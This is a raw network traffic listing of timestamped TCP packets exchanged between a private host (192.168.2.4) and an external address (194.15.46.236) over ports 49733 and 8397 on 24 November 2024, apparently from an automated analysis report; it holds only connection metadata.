Nov 24, 2024 12:10:10.260612965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.260665894 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.261826038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.261899948 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.261955976 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.263010025 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.263103008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.263151884 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.264260054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.264379978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.264431000 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.265508890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.265620947 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.265669107 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.266788960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.266902924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.266953945 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.268018007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.268141031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.268192053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.269324064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.269383907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.269438982 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.270555019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.270688057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.270740986 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.271831036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.271899939 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.271950960 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.273036003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.273149014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.273211956 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.274282932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.274385929 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.274439096 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.275600910 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.275670052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.275723934 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.276827097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.276920080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.276969910 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.278009892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.327657938 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.423105955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.423134089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.423213005 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.423561096 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.423789978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.423846960 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.423960924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.425029993 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.425066948 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.425220966 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.426323891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.426361084 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.426417112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.427578926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.427617073 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.427702904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.428894997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.428932905 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.428981066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.430109024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.430146933 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.430270910 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.431301117 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.431339979 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.431406021 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.432571888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.432621002 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.432698011 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.433806896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.433845043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.433895111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.435115099 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.435147047 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.435190916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.436321974 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.436404943 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.436428070 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.437578917 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.437618971 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.437685966 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.438805103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.438843012 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.438931942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.440087080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.440128088 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.440175056 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.441327095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.441366911 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.441416025 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.442576885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.442612886 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.442651987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.443850994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.443888903 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.444008112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.445106983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.445153952 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.445185900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.446379900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.446413040 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.446460009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.447618008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.447650909 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.447760105 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.448875904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.448961020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.448975086 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.450103045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.450139999 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.450229883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.451364994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.451410055 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.451500893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.452632904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.452668905 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.452739000 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.453887939 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.453922033 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.453974009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.455245972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.455281019 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.455321074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.456407070 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.456456900 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.456502914 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.457649946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.457685947 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.457829952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.459666967 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.459677935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.459702969 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.460767984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.460803986 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.460951090 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.461631060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.461663961 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.461709023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.462655067 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.462687969 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.462749958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.463893890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.463927984 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.463992119 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.465163946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.465200901 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.465260983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.466428995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.466463089 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.466610909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.467660904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.467695951 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.467770100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.468939066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.468981028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.469043970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.470170975 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.470205069 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.470287085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.471479893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.471518993 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.471581936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.472721100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.472757101 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.472795010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.473938942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.473992109 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.474030018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.475200891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.475236893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.475248098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.476450920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.476502895 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.476598024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.477783918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.477822065 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.477869034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.478955984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.479001045 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.479065895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.480210066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.480252028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.480293989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.481484890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.481518030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.481580973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.482717991 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.482752085 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.482829094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.483968973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.484000921 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.484057903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.485244036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.485295057 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.485331059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.486536026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.486589909 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.486655951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.487752914 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.487786055 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.487797976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.530786037 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.634484053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.634526014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.634726048 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.634996891 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.635076046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.635143995 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.636265993 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.636307001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.636352062 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.637518883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.637614965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.637655973 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.638792992 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.638834000 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.638871908 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.640017033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.640062094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.640101910 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.641288042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.641455889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.641498089 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.643388033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.643457890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.643497944 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.644382954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.644402027 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.644438982 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.645137072 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.645198107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.645265102 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.646311045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.646420956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.646460056 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.647541046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.647660017 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.647699118 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.648794889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.648896933 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.648933887 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.650044918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.650167942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.650206089 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.651324034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.651462078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.651501894 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.652661085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.652924061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.652966022 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.653820038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.653919935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.653953075 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.655056953 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.655153990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.655188084 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.656330109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.656435013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.656491041 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.657572031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.657690048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.657726049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.658817053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.658917904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.658948898 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.660078049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.660206079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.660238028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.661318064 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.661480904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.661513090 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.662564039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.662702084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.662738085 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.663832903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.663934946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.663970947 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.665072918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.665191889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.665227890 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.666353941 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.666471004 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.666529894 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.667603970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.667714119 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.667748928 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.668937922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.669032097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.669070005 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.670105934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.670206070 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.670244932 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.671363115 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.671463013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.671500921 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.672619104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.672730923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.672770023 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.673928976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.674102068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.674138069 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.675107956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.675225973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.675261021 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.676374912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.676469088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.676526070 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.677656889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.677808046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.677845955 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.678874016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.678997993 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.679033995 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.680138111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.680249929 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.680286884 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.681408882 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.681518078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.681555033 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.682632923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.682745934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.682780027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.683890104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.683991909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.684031963 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.685209990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.685331106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.685365915 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:10.686402082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.686513901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:10.686563969 CET	49733	8397	192.168.2.4	194.15.46.236
